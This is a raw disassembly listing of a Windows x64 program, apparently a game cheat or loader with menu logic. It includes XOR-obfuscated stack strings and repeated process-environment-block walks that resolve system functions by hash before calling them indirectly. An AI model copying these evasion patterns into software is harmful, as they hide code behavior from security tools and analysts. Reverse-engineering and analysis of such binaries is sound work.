movdqu xmmword [rbp + 0x8d8], xmm0
mov byte [rbp + 0x8e8], 1
lea rdx, [rbp + 0x1b08]
lea rcx, [rbp + 0x8d8]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x1b08]
call fcn.14004b5f0
mov ecx, eax
call fcn.14004bcd0
nop
lea rcx, [rbp + 0x1b08]
call fcn.140090bf0
lea rax, [rbp + 0xcf8]
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0xcf8]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x590], Ordinal_79
mov byte [rbp + 0x591], 0x55
mov byte [rbp + 0x592], 0x5e
mov byte [rbp + 0x593], 0x43
mov byte [rbp + 0x594], 0x5f
mov byte [rbp + 0x595], 0x43
mov byte [rbp + 0x596], 0x57
mov byte [rbp + 0x597], 0x41
mov byte [rbp + 0x598], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x599], 0x50
mov byte [rbp + 0x59a], Ordinal_79
mov byte [rbp + 0x59b], 0x52
mov byte [rbp + 0x59c], 0
mov byte [rbp + 0x59d], 1
lea rdx, [rbp + 0x1b28]
lea rcx, [rbp + 0x590]
call fcn.14008ef50
nop
lea rcx, [rbp + 0x1b28]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1b28]
call fcn.140090bf0
lea rax, [rbp + 0xd10]
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0xd10]
call fcn.140056380
mov rbx, rax
movdqa xmm0, xmmword [0x1401ccb60]
movdqu xmmword [rbp + 0xa88], xmm0
mov byte [rbp + 0xa98], 0x59
mov byte [rbp + 0xa99], 0
mov byte [rbp + 0xa9a], 1
lea rdx, [rbp + 0x1b48]
lea rcx, [rbp + 0xa88]
call fcn.14008e550
nop
lea rcx, [rbp + 0x1b48]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1b48]
call fcn.140090bf0
lea rax, [rbp + 0xd28]
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0xd28]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x430], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x431], 0x59
mov byte [rbp + 0x432], 0x48
mov byte [rbp + 0x433], 0x42
mov byte [rbp + 0x434], 0x5f
mov byte [rbp + 0x435], 0x5f
mov byte [rbp + 0x436], Ordinal_32
mov byte [rbp + 0x437], 0x56
mov byte [rbp + 0x438], Ordinal_79
mov byte [rbp + 0x439], 0x50
mov byte [rbp + 0x43a], 0
mov byte [rbp + 0x43b], 1
lea rdx, [rbp + 0x1b68]
lea rcx, [rbp + 0x430]
call fcn.14008e4e0
nop
lea rcx, [rbp + 0x1b68]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1b68]
call fcn.140090bf0
lea rax, [rbp + 0xd40]
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0xd40]
call fcn.140055c90
mov rbx, rax
mov byte [rbp + 0x380], 0x40
mov byte [rbp + 0x381], 0x5e
mov byte [rbp + 0x382], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x383], 0x5c
mov byte [rbp + 0x384], 0x43
mov byte [rbp + 0x385], Ordinal_32
mov byte [rbp + 0x386], 0x57
mov byte [rbp + 0x387], Ordinal_79
mov byte [rbp + 0x388], 0x51
mov byte [rbp + 0x389], 0
mov byte [rbp + 0x38a], 1
lea rdx, [rbp + 0x1b88]
lea rcx, [rbp + 0x380]
call fcn.14008f030
nop
lea rcx, [rbp + 0x1b88]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1b88]
call fcn.140090bf0
lea rax, [rbp + 0xd58]
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0xd58]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x168], 0x7c
mov byte [rbp + 0x169], Ordinal_79
mov byte [rbp + 0x16a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x16b], 0x7c
mov byte [rbp + 0x16c], 0x46
mov byte [rbp + 0x16d], 0x52
mov byte [rbp + 0x16e], 0
mov byte [rbp + 0x16f], 1
lea rdx, [rbp + 0x1ba8]
lea rcx, [rbp + 0x168]
call fcn.14008efc0
nop
lea rcx, [rbp + 0x1ba8]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1ba8]
call fcn.140090bf0
lea rax, [rbp + 0xd70]
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0xd70]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x390], 0x68
mov byte [rbp + 0x391], 0x44
mov byte [rbp + 0x392], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x393], 0x48
mov byte [rbp + 0x394], 0x64
mov byte [rbp + 0x395], 0x43
mov byte [rbp + 0x396], 0x53
mov byte [rbp + 0x397], 0x50
mov byte [rbp + 0x398], 0x5f
mov byte [rbp + 0x399], 0
mov byte [rbp + 0x39a], 1
lea rdx, [rbp + 0x1bc8]
lea rcx, [rbp + 0x390]
call fcn.14008f030
nop
lea rcx, [rbp + 0x1bc8]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1bc8]
call fcn.140090bf0
lea rax, [rbp + 0xd88]
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0xd88]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x74], 0x68
mov byte [rbp + 0x75], 0x7d
mov byte [rbp + 0x76], 0x7d
mov byte [rbp + 0x77], 0
mov byte [rbp + 0x78], 1
lea rdx, [rbp + 0x1be8]
lea rcx, [rbp + 0x74]
call fcn.14008eee0
nop
lea rcx, [rbp + 0x1be8]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1be8]
call fcn.140090bf0
lea rax, [rbp + 0xda0]
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0xda0]
call fcn.140055c90
mov rbx, rax
mov byte [rbp + 0x2f0], 0x68
mov byte [rbp + 0x2f1], 0x43
mov byte [rbp + 0x2f2], 0x5d
mov byte [rbp + 0x2f3], Ordinal_79
mov byte [rbp + 0x2f4], 0x51
mov byte [rbp + 0x2f5], 0x52
mov byte [rbp + 0x2f6], 0x5a
mov byte [rbp + 0x2f7], 0x56
mov byte [rbp + 0x2f8], 0
mov byte [rbp + 0x2f9], 1
lea rdx, [rbp + 0x1c08]
lea rcx, [rbp + 0x2f0]
call fcn.14008e470
nop
lea rcx, [rbp + 0x1c08]
call fcn.14004b9a0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1c08]
call fcn.140090bf0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006fa76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006fa76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xc45381
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006fa71
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006fa50
cmp r8d, 0x1439b50
je 0x14006fa7b
test r9d, r9d
jne 0x14006fa30
mov rax, qword [rax]
jmp 0x14006fa00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0x68]
call fcn.140083850
mov rcx, rax
call fcn.14008da40
mov rbx, rax
lea rcx, [rbp - 0x67]
call fcn.140083780
mov rcx, rax
call fcn.14008da70
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
call fcn.140065df0
cmp byte [0x140210779], 1
jne 0x14006fdbb
lea rdx, [rbp + 0x42d0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov byte [rbp + 0x440], 0x7e
mov byte [rbp + 0x441], Ordinal_79
mov byte [rbp + 0x442], 0x54
mov byte [rbp + 0x443], Ordinal_79
mov byte [rbp + 0x444], 0x42
mov byte [rbp + 0x445], Ordinal_32
mov byte [rbp + 0x446], 0x58
mov byte [rbp + 0x447], 0x40
mov byte [rbp + 0x448], 0x5b
mov byte [rbp + 0x449], 0x5b
mov byte [rbp + 0x44a], 0
mov byte [rbp + 0x44b], 1
lea rdx, [rbp + 0x42d0]
lea rcx, [rbp + 0x1c28]
call fcn.140090c30
nop
lea r8, [rbp + 0x440]
mov rdx, rax
lea rcx, [rbp + 0x2a58]
call fcn.140082dc0
nop
lea rcx, [rbp + 0x1c28]
call fcn.140090bf0
lea rax, [rbp + 0x1c68]
mov qword [rsp + 0x78], rax
lea rdx, [0x140210868]
lea rcx, [rbp + 0x1c68]
call fcn.140090c30
mov r14, rax
lea rax, [rbp + 0x1c88]
mov qword [rbp + 0x60], rax
mov byte [rbp + 0x450], 0x5f
mov byte [rbp + 0x451], 0x48
mov byte [rbp + 0x452], 0x5c
mov byte [rbp + 0x453], Ordinal_79
mov byte [rbp + 0x454], 0x5a
mov byte [rbp + 0x455], 0x58
mov byte [rbp + 0x456], 2
mov byte [rbp + 0x457], 0x40
mov byte [rbp + 0x458], 0x41
mov byte [rbp + 0x459], 0x44
mov byte [rbp + 0x45a], 0
mov byte [rbp + 0x45b], 1
lea rdx, [rbp + 0x1c88]
lea rcx, [rbp + 0x450]
call fcn.14008e4e0
mov rsi, rax
lea rax, [rbp + 0x1388]
mov qword [rsp + 0x60], rax
lea rdx, [0x140210808]
lea rcx, [rbp + 0x1388]
call fcn.140090c30
mov rdi, rax
lea rax, [rbp + 0x1c48]
mov qword [rsp + 0x68], rax
mov byte [rbp + 0x300], Ordinal_79
mov byte [rbp + 0x301], 0x5a
mov byte [rbp + 0x302], 0x5b
mov byte [rbp + 0x303], reloc.WS2_32.dll_socket
mov byte [rbp + 0x304], 0x55
mov byte [rbp + 0x305], 0x43
mov byte [rbp + 0x306], 0x58
mov byte [rbp + 0x307], 0x55
mov byte [rbp + 0x308], 0
mov byte [rbp + 0x309], 1
lea rdx, [rbp + 0x1c48]
lea rcx, [rbp + 0x300]
call fcn.14008e470
mov rbx, rax
lea rdx, [rbp + 0x2a58]
lea rcx, [rbp + 0x1888]
call fcn.140090c90
nop
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov r9b, 1
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.14004cf10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006fd56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006fd56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xa374906
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006fd51
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006fd30
cmp r8d, 0xde705ea9
je 0x14006fd5b
test r9d, r9d
jne 0x14006fd10
mov rax, qword [rax]
jmp 0x14006fce0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0x66]
call fcn.140083990
mov rcx, rax
call fcn.14008d9b0
mov rbx, rax
lea rcx, [rbp - 0x65]
call fcn.1400838b0
mov rcx, rax
call fcn.14008d9e0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
nop
lea rcx, [rbp + 0x2a58]
call fcn.140090bf0
xor r14d, r14d
lea rsi, [0x140214470]
mov edx, Ordinal_301
lea ecx, [rdx - 0x32]
call qword [sym.imp.KERNEL32.dll_Beep]
mov dword [0x1402110fc], 4
call fcn.14000c1a0
jmp 0x14006fde2
movsd xmm6, qword [0x1401cb508]
cmp dword [0x1402110fc], 1
jne 0x14007025c
lea rcx, [rbp + 0x178]
call fcn.140013320
movss xmm0, dword [rax]
mulss xmm0, xmm12
subss xmm0, dword [0x1401cb590]
call fcn.140013180
lea rcx, [rbp - 0x64]
call fcn.1400839f0
mov rcx, rax
call fcn.14008d970
mov rcx, rax
call fcn.14003a290
call fcn.14003c9a0
lea rcx, [rbp + 0x180]
call fcn.140013320
movss xmm0, dword [rax]
cvtps2pd xmm0, xmm0
divsd xmm0, xmm6
subsd xmm0, qword [0x1401cb540]
cvtpd2ps xmm0, xmm0
call fcn.140013180
lea rcx, [rbp - 0x63]
call fcn.140083ab0
mov rcx, rax
call fcn.14008d8f0
mov rbx, rax
lea rcx, [rbp - 0x62]
call fcn.140083a50
mov rcx, rax
call fcn.14008d930
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9d, reloc.WS2_32.dll_sendto
lea r8, [0x1402108a0]
mov rdx, rbx
mov rcx, rax
call fcn.14003df60
lea rcx, [rbp + 0x188]
call fcn.140013320
movss xmm0, dword [rax]
cvtps2pd xmm0, xmm0
divsd xmm0, xmm6
subsd xmm0, qword [0x1401cb540]
cvtpd2ps xmm0, xmm0
call fcn.140013180
lea rcx, [rbp - 0x61]
call fcn.140083b70
mov rcx, rax
call fcn.14008d870
mov rbx, rax
lea rcx, [rbp - 0x60]
call fcn.140083b10
mov rcx, rax
call fcn.14008d8b0
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9d, reloc.WS2_32.dll_sendto
lea r8, [0x1402107d8]
mov rdx, rbx
mov rcx, rax
call fcn.14003df60
lea rcx, [rbp + 0x190]
call fcn.140013320
movss xmm0, dword [rax]
cvtps2pd xmm0, xmm0
divsd xmm0, xmm6
subsd xmm0, qword [0x1401cb540]
cvtpd2ps xmm0, xmm0
call fcn.140013180
lea rcx, [rbp - 0x5f]
call fcn.140083c40
mov rcx, rax
call fcn.14008d800
mov rbx, rax
lea rcx, [rbp - 0x5e]
call fcn.140083bd0
mov rcx, rax
call fcn.14008d830
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9d, reloc.WLDAP32.dll_Ordinal_50
lea r8, [0x140210828]
mov rdx, rbx
mov rcx, rax
call fcn.14003df60
call fcn.14003c9a0
lea rcx, [rbp + 0x198]
call fcn.140013320
movss xmm0, dword [rax]
cvtps2pd xmm0, xmm0
divsd xmm0, xmm6
addsd xmm0, qword [0x1401cb520]
cvtpd2ps xmm0, xmm0
call fcn.140013180
movss xmm2, dword [0x1401cb598]
movaps xmm1, xmm7
lea rcx, [rbp + 0x1a0]
call fcn.140002800
mov rbx, rax
lea rcx, [rbp - 0x5d]
call fcn.140083cb0
mov rcx, rax
call fcn.14008d7c0
mov rdx, rbx
mov rcx, rax
call fcn.14003ae70
test al, al
je 0x14007025c
lea rax, [rbp + 0x1828]
mov qword [rbp + 0x2800], rax
lea rdx, [0x140210828]
lea rcx, [rbp + 0x1828]
call fcn.140090c30
mov rdi, rax
lea rax, [rbp + 0x17a8]
mov qword [rsp + 0x68], rax
lea rdx, [0x1402107d8]
lea rcx, [rbp + 0x17a8]
call fcn.140090c30
mov rbx, rax
lea rdx, [0x1402108a0]
lea rcx, [rbp + 0x1768]
call fcn.140090c30
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [0x140211120]
call fcn.1400a2f80
cmp byte [0x140211360], 0
jne 0x14007015e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140070106
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140070106
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x212bd928
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140070101
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400700e0
cmp r8d, 0xcb6b6f93
je 0x14007010b
test r9d, r9d
jne 0x1400700c0
mov rax, qword [rax]
jmp 0x140070090
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0x5c]
call fcn.140083df0
mov rcx, rax
call fcn.14008d720
mov rbx, rax
lea rcx, [rbp - 0x5b]
call fcn.140083d10
mov rcx, rax
call fcn.14008d770
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
call fcn.140051780
jmp 0x14007025c
mov edx, Ordinal_301
lea ecx, [rdx - 0x32]
call qword [sym.imp.KERNEL32.dll_Beep]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400701f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400701f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x23d0fb76
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400701f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400701d0
cmp r8d, 0xc98b9199
je 0x1400701fb
test r9d, r9d
jne 0x1400701b0
mov rax, qword [rax]
jmp 0x140070180
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rcx + rax*4]
add rdi, r10
lea rcx, [rbp - 0x5a]
call fcn.140083f70
mov rcx, rax
call fcn.14008d670
mov rbx, rax
lea rcx, [rbp - 0x59]
call fcn.140083e90
mov rcx, rax
call fcn.14008d6c0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
call fcn.1400677c0
jmp 0x14007025c
movss xmm7, dword [0x1401cb5c4]
movss xmm8, dword [0x1401cb5fc]
cmp dword [0x1402110fc], 4
jne 0x140082692
movss xmm2, dword [0x1401cb61c]
movss xmm1, dword [0x1401cb624]
lea rcx, [rbp + 0x1a8]
call fcn.140002800
mov rdx, rax
mov ecx, 4
call fcn.140004f00
mov ebx, 0x130
mov rdi, qword gs:[0x58]
mov rax, qword [rdi]
mov ecx, dword [rbx + rax]
cmp dword [0x14021449c], ecx
jle 0x1400702db
lea rcx, [0x14021449c]
call fcn.1400fcfdc
cmp dword [0x14021449c], 0xffffffff
jne 0x1400702db
call fcn.140060a70
mov qword [0x140214480], rax
lea rcx, [0x14021449c]
call fcn.1400fcf7c
mov rax, qword [rdi]
mov ecx, dword [rbx + rax]
cmp dword [0x14021448c], ecx
jle 0x14007033a
lea rcx, [0x14021448c]
call fcn.1400fcfdc
cmp dword [0x14021448c], 0xffffffff
jne 0x14007033a
movss xmm0, dword [0x1401cb5d8]
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm14
movaps xmm2, xmm9
movss xmm1, dword [0x1401cb5ec]
lea r14, [0x140214458]
mov rcx, r14
call fcn.140060a10
nop
lea rcx, [0x14021448c]
call fcn.1400fcf7c
jmp 0x140070341
lea r14, [0x140214458]
mov rax, qword [rdi]
mov ecx, dword [rbx + rax]
cmp dword [0x140214488], ecx
jle 0x14007038c
lea rcx, [0x140214488]
call fcn.1400fcfdc
cmp dword [0x140214488], 0xffffffff
jne 0x14007038c
movss dword [rsp + 0x20], xmm14
movaps xmm3, xmm14
movaps xmm2, xmm14
movaps xmm1, xmm14
mov rcx, rsi
call fcn.140060a10
nop
lea rcx, [0x140214488]
call fcn.1400fcf7c
lea rcx, [rbp + 0x1b0]
call fcn.140013320
movss xmm2, dword [0x1401cb5a4]
movss xmm1, dword [rax]
lea rcx, [rbp + 0x1b8]
call fcn.140002800
mov rbx, rax
lea rcx, [rbp - 0x58]
call fcn.140084010
mov rcx, rax
call fcn.14008d630
xor r9d, r9d
mov r8b, 1
mov rdx, rbx
mov rcx, rax
call fcn.14000c100
xor r8d, r8d
xor edx, edx
mov rcx, r15
call fcn.1400606f0
call fcn.14000c1a0
mov ecx, r12d
call fcn.1400604f0
lea rcx, [rbp + 0x1c0]
call fcn.140013320
movss xmm2, dword [rax + 4]
movss xmm1, dword [0x1401cb5f0]
lea rcx, [rbp + 0x1c8]
call fcn.140002800
mov rbx, rax
lea rcx, [rbp - 0x57]
call fcn.140084070
mov rcx, rax
call fcn.14008d5f0
xor r9d, r9d
mov r8b, 1
mov rdx, rbx
mov rcx, rax
call fcn.14000c100
call fcn.1400130d0
addss xmm0, dword [0x1401cb5bc]
call fcn.1400131d0
mov rax, qword [0x140214480]
mov rdx, rsi
cmp dword [rax], 0
cmove rdx, r14
xor ecx, ecx
call fcn.140004dd0
xor r9d, r9d
xor r8d, r8d
movaps xmm1, xmm13
lea rcx, [0x1401ca040]
call fcn.140060880
xor ecx, ecx
call fcn.14000bdf0
xor r15d, r15d
test al, al
je 0x140070491
mov rax, qword [0x140214480]
mov dword [rax], r15d
call fcn.14003c9f0
mov rax, qword [0x140214480]
mov rdx, rsi
cmp dword [rax], 1
cmove rdx, r14
xor ecx, ecx
call fcn.140004dd0
xor r9d, r9d
xor r8d, r8d
movaps xmm1, xmm13
lea rcx, [0x1401ca044]
call fcn.140060880
xor ecx, ecx
call fcn.14000bdf0
test al, al
je 0x1400704d9
mov rax, qword [0x140214480]
mov dword [rax], r12d
call fcn.14003c9f0
mov rax, qword [0x140214480]
mov rdx, rsi
cmp dword [rax], 2
cmove rdx, r14
xor ecx, ecx
call fcn.140004dd0
xor r9d, r9d
xor r8d, r8d
movaps xmm1, xmm13
lea rcx, [0x1401ca048]
call fcn.140060880
xor ecx, ecx
call fcn.14000bdf0
test al, al
je 0x140070524
mov rax, qword [0x140214480]
mov dword [rax], 2
mov edx, 0xffffffff
xor ecx, ecx
call fcn.140004d00
call fcn.14003c9f0
xor r9d, r9d
xor r8d, r8d
movaps xmm1, xmm13
lea rcx, [0x1401ca04c]
call fcn.140060880
xor ecx, ecx
call fcn.14000bdf0
test al, al
jne 0x1400827ac
mov ecx, 4
call fcn.140004e30
call fcn.14000c1a0
call fcn.1400606b0
xor edx, edx
lea ecx, [rdx + 3]
call fcn.140004d00
call fcn.1400609f0
movaps xmm6, xmm0
call fcn.1400609b0
movaps xmm2, xmm6
movaps xmm1, xmm0
lea rcx, [rbp + 0x1d0]
call fcn.140002800
mov rbx, rax
lea rcx, [rbp - 0x56]
call fcn.1400840d0
mov rcx, rax
call fcn.14008d5a0
xor r9d, r9d
mov r8b, 1
mov rdx, rbx
mov rcx, rax
call fcn.14000c100
mov ecx, r12d
call fcn.140004e30
mov rcx, qword [0x140214480]
mov edx, dword [rcx]
test edx, edx
je 0x140081d60
sub edx, 1
je 0x140073dd1
cmp edx, 1
jne 0x14008268a
movss xmm0, dword [0x1401cb55c]
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0x1d8]
call fcn.140002800
mov rdx, rax
mov ecx, 0xa
call fcn.140004f00
mov rbx, qword [0x140214480]
lea rcx, [rbp - 0x55]
call fcn.1400889c0
mov rcx, rax
call fcn.14008b330
lea rdx, [rbx + 0x24]
mov rcx, rax
call fcn.14003c4a0
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp - 0x54]
call fcn.140088a70
mov rcx, rax
call fcn.14008b310
mov rbx, rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm12
movaps xmm2, xmm9
movaps xmm1, xmm12
lea rcx, [rbp + 0x670]
call fcn.140002820
mov rdx, rbx
mov rcx, rax
call fcn.14003a310
xor ecx, ecx
call fcn.140006c40
test al, al
je 0x1400706a1
lea rcx, [rbp - 0x53]
call fcn.140088ad0
mov rcx, rax
call fcn.14008b2c0
mov rcx, rax
call fcn.140013de0
mov rbx, qword [0x140214480]
cmp byte [rbx + 0x24], 1
jne 0x1400708f7
lea rcx, [rbp - 0x52]
call fcn.140088bb0
mov rcx, rax
call fcn.14008b270
lea rdx, [rbx + 0x25]
mov rcx, rax
call fcn.14003c4a0
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp - 0x51]
call fcn.140088c70
mov rcx, rax
call fcn.14008b250
mov rbx, rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm12
movaps xmm2, xmm9
movaps xmm1, xmm12
lea rcx, [rbp + 0x680]
call fcn.140002820
mov rdx, rbx
mov rcx, rax
call fcn.14003a310
xor ecx, ecx
call fcn.140006c40
test al, al
je 0x14007073e
lea rcx, [rbp - 0x50]
call fcn.140088cd0
mov rcx, rax
call fcn.14008b1f0
mov rcx, rax
call fcn.140013de0
mov rbx, qword [0x140214480]
lea rcx, [rbp - 0x4f]
call fcn.140088dc0
mov rcx, rax
call fcn.14008b1a0
lea rdx, [rbx + 0x26]
mov rcx, rax
call fcn.14003c4a0
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp - 0x4e]
call fcn.140088e80
mov rcx, rax
call fcn.14008b180
mov rbx, rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm12
movaps xmm2, xmm9
movaps xmm1, xmm12
lea rcx, [rbp + 0x690]
call fcn.140002820
mov rdx, rbx
mov rcx, rax
call fcn.14003a310
xor ecx, ecx
call fcn.140006c40
test al, al
je 0x1400707d1
lea rcx, [rbp - 0x4d]
call fcn.140088ee0
mov rcx, rax
call fcn.14008b120
mov rcx, rax
call fcn.140013de0
mov rbx, qword [0x140214480]
lea rcx, [rbp - 0x4c]
call fcn.140088fe0
mov rcx, rax
call fcn.14008b0d0
lea rdx, [rbx + 0x27]
mov rcx, rax
call fcn.14003c4a0
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp - 0x4b]
call fcn.140089080
mov rcx, rax
call fcn.14008b0b0
mov rbx, rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm12
movaps xmm2, xmm9
movaps xmm1, xmm12
lea rcx, [rbp + 0x6a0]
call fcn.140002820
mov rdx, rbx
mov rcx, rax
call fcn.14003a310
xor ecx, ecx
call fcn.140006c40
test al, al
je 0x140070864
lea rcx, [rbp - 0x4a]
call fcn.1400890e0
mov rcx, rax
call fcn.14008b060
mov rcx, rax
call fcn.140013de0
mov rbx, qword [0x140214480]
lea rcx, [rbp - 0x49]
call fcn.1400891d0
mov rcx, rax
call fcn.14008b010
lea rdx, [rbx + 0x28]
mov rcx, rax
call fcn.14003c4a0
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp - 0x48]
call fcn.1400892a0
mov rcx, rax
call fcn.14008aff0
mov rbx, rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm12
movaps xmm2, xmm9
movaps xmm1, xmm12
lea rcx, [rbp + 0x6b0]
call fcn.140002820
mov rdx, rbx
mov rcx, rax
call fcn.14003a310
xor ecx, ecx
call fcn.140006c40
test al, al
je 0x1400708f7
lea rcx, [rbp - 0x47]
call fcn.140089300
mov rcx, rax
call fcn.14008af90
mov rcx, rax
call fcn.140013de0
call fcn.14003c9a0
call fcn.14003c9a0
call fcn.14003c9a0
mov rbx, qword [0x140214480]
lea rcx, [rbp - 0x46]
call fcn.1400893d0
mov rcx, rax
call fcn.14008af40
lea rdx, [rbx + 0x29]
mov rcx, rax
call fcn.14003c4a0
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp - 0x45]
call fcn.140089470
mov rcx, rax
call fcn.14008af20
mov rbx, rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm12
movaps xmm2, xmm9
movaps xmm1, xmm12
lea rcx, [rbp + 0x6c0]
call fcn.140002820
mov rdx, rbx
mov rcx, rax
call fcn.14003a310
xor ecx, ecx
call fcn.140006c40
test al, al
je 0x140070999
